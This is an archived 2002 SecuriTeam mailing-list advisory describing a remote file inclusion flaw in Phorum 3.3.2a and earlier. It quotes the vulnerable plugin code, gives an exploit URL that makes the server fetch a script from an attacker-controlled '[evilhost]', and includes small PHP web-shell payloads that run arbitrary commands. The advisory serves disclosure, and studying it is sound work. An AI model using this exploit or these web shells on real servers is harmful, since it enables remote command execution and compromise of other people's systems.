

[UNIX] Phorum Remote Command Execution Vulnerability (PHORUM[settings_dir])

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0078.html>

From: support@securiteam.com

Date: 05/18/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 18 May 2002 23:03:43 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Phorum Remote Command Execution Vulnerability (PHORUM[settings_dir])

SUMMARY

<<http://www.phorum.org/>> Phorum is an OpenSource web based discussion software application written in PHP. A security flaw in the product lets remote users include external php scripts and execute arbitrary code and commands.

DETAILS

Vulnerable systems:

- * Phorum version 3.3.2a and prior

Immune systems:

- * Phorum version 3.3.2b3

The following file is vulnerable for remote script inclusion:

/plugin/replace/plugin.php

(Note that it seems that the admin.php file is also vulnerable to the same vulnerability)

Securiteam: [UNIX] Phorum Remote Command Execution Vulnerability (PHORUM[settings_dir])

Let's see some code:

```
<?php
include("$PHORUM[settings_dir]/replace.php");

function mod_replace_read_body ($body) {
    global $pluginreplace;
    reset($pluginreplace);
    while(list($key,$val) = each($pluginreplace)) {
        $body = str_replace($key,$val,$body);
    }
    return $body;
}

$plugins["read_body"]["mod_replace"]="mod_replace_read_body";

?>
```

Exploit:

This is easy to exploit:

[http://\[target\]/phorum/plugin/replace/plugin.php?PHORUM\[settings_dir\]=http://\[evilhost\]&cmd=ls](http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls)

This one will get the file [http://\[evilhost\]/replace.php](http://[evilhost]/replace.php) and execute it.

If [evilhost] has php enabled we could use this one as replace.php:

```
<?
echo("<?
system(\"\\$cmd\");
?>");
?>
```

If it's not php-enabled simply:

```
<?
system("$cmd");
?>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:markus-arndt@web.de> Markus Arnd.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [UNIX] Phorum Remote Command Execution Vulnerability (PHORUM[settings_dir])

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[\[UNIX\] Grsecurity Allows Modifying of "read-only kernel"](#)"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)